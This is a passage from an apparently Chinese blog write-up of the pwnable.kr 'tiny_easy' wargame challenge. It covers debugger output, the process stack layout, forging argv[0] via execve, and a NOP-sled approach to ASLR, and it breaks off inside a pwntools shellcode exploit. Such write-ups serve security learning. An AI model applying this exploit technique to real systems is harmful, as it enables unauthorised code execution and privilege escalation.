</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>做这题还是很波折的，没想到问题出在细节上，比如那个null要4个0。之前用的环境变量方法，也是相当麻烦。这道题也更新过几次，很多wp都是用不了的，这里感谢一个较新的wp：<a
  href="https://h4ck.kr/?p=3273" rel="nofollow noopener noreferrer" target="_blank"
  >https://h4ck.kr/?p=3273<span style="user-select:none"> ↗</span></a
>
</p>
<h3 id="tiny_easy">tiny_easy<a class="anchor" href="#tiny_easy">#</a></h3>
<blockquote>
<p>I made a pretty difficult pwn task.
However I also made a dumb rookie mistake and made it too easy :(
This is based on real event :) enjoy.</p>
<p>ssh <a
  href="mailto:tiny_easy@pwnable.kr"
  >tiny_easy@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<p>运行了一下就段错误。</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">tiny_easy@ubuntu:~$ checksec ./tiny_easy
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">[*] &#39;/home/tiny_easy/tiny_easy&#39;
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">    Arch:       i386-32-little
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">    RELRO:      No RELRO
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">    Stack:      No canary found
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">    NX:         NX disabled
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">    PIE:        No PIE (0x8048000)
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>静态链接的题目，ida打开啥也没有，只有start入口函数，调试发现是call edx导致的错误：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">────[ REGISTERS / show-flags off / show-compact-regs off ]────
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go"> EAX  1
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go"> EBX  0
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go"> ECX  0
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">*EDX  0x6d6f682f (&#39;/hom&#39;)
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go"> EDI  0
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go"> ESI  0
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go"> EBP  0
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go"> ESP  0xff96cdf8 ◂— 0
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">*EIP  0x8048058 ◂— call edx
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">────[ DISASM / i386 / set emulate off ]────
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">   0x8048054    pop    eax                      EAX =&gt; 1
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">   0x8048055    pop    edx                      EDX =&gt; 0xff96ed5b
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">   0x8048056    mov    edx, dword ptr [edx]     EDX, [0xff96ed5b] =&gt; 0x6d6f682f (&#39;/hom&#39;)
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go"> ► 0x8048058    call   edx                         &lt;0x6d6f682f&gt;
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go"> 
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">   0x804805a    add    byte ptr [eax], al
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">   0x804805c    add    byte ptr [eax], al
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">   0x804805e    add    byte ptr [eax], al
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">   0x8048060    add    byte ptr [eax], al
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">   0x8048062    add    byte ptr [eax], al
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">   0x8048064    add    byte ptr [eax], al
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">   0x8048066    add    byte ptr [eax], al
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">────[ STACK ]────
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">00:0000│ esp 0xff96cdf8 ◂— 0
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">01:0004│     0xff96cdfc —▸ 0xff96ed75 ◂— &#39;SHELL=/bin/bash&#39;
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">02:0008│     0xff96ce00 —▸ 0xff96ed85 ◂— &#39;PWD=/home/tiny_easy&#39;
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">03:000c│     0xff96ce04 —▸ 0xff96ed99 ◂— &#39;LOGNAME=tiny_easy&#39;
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go">04:0010│     0xff96ce08 —▸ 0xff96edab ◂— &#39;XDG_SESSION_TYPE=tty&#39;
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">05:0014│     0xff96ce0c —▸ 0xff96edc0 ◂— &#39;_=/usr/bin/gdb&#39;
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">06:0018│     0xff96ce10 —▸ 0xff96edcf ◂— &#39;MOTD_SHOWN=pam&#39;
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">07:001c│     0xff96ce14 —▸ 0xff96edde ◂— &#39;LINES=47&#39;
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>eax是程序的绝对目录地址，然后把值赋给了edx，被寄存器截断成了/hom，这个东西调用当然报错。</p>
<p>了解一些进程知识：</p>
<p>Linux 进程刚启动时，栈长这样（32位）：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">esp -&gt;
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">        argc
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">        argv[0]
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">        argv[1]
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">        ...
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">        NULL
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">        envp[0]
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">        envp[1]
</span></span></span><span class="line"><span class="ln">9</span><span class="cl"><span class="go">        ...
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>所以这个程序第一条指令pop eax，就是把argc给了eax</p>
<p>第二条指令 pop edx，就是把argv[0]给了edx，这里的 <code>argv[0]</code> 不是字符串本身。而是char *argv[0]，也就是edx = 指向程序名字符串的地址</p>
<p>第三条指令 mov edx，[edx]就是把把 <code>argv[0]</code> 指向的字符串前4字节，当成一个地址赋给edx</p>
<p>程序路径是：/home/tiny_easy/tiny_easy 就变成了/hom，小端序存储为：6d6f682f，调用当然错</p>
<p>由于这个题目的输入只有环境变量，所以从环境变量下手。我们在环境变量里存一个shellcode，让argv[0]刚好指向这个shellcode。</p>
<p>如何控制argv[0]？这个是可以完全伪造的，Linux 下其实 execve 可以：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">execve</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="n">envp</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>其中argv[0]完全可以伪造：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="s">&#34;KKKK&#34;</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">};</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nf">execve</span><span class="p">(</span><span class="s">&#34;/home/tiny_easy&#34;</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="n">envp</span><span class="p">);</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这样的话argv[0] = &ldquo;KKKK&rdquo;，于是mov edx, [edx]就会取到0x4b4b4b4b，然后call 0x4b4b4b4b</p>
<p>此时目标是让argv[0]前四字节是环境变量地址，由于开了ASLR，地址不知道，这里要用到nop滑板的技术，就是指令指向nop，这是空操作，就会寻找下一条指令，如果我们填充大量nop，最后补充shellcode，那么我指向的地址刚好蒙中了其中的nop，那么它就会一路滑到shellcode。</p>
<p>那么蒙哪个地址呢？由于环境变量也在栈上，这里就蒙那个栈上的0xff96cdf8吧，ASLR随机看看能不能随机到这里。</p>
<p>还有一点，以前的题目源码能看到，pwnable.kr在读取flag前都有一行：<code>setregid(getegid(), getegid());</code>这是因为程序是锁uid的，所以生成shellcode之前也要有这个步骤。</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1"># context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c1"># 这一段是setregid(getegid(), getegid())，当然也可以通过 defuse.ca 编译好塞进来</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s1">&#39;&#39;&#39;
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="s1">    xor eax, eax
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="s1">    mov al, 50
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="s1">    int 0x80
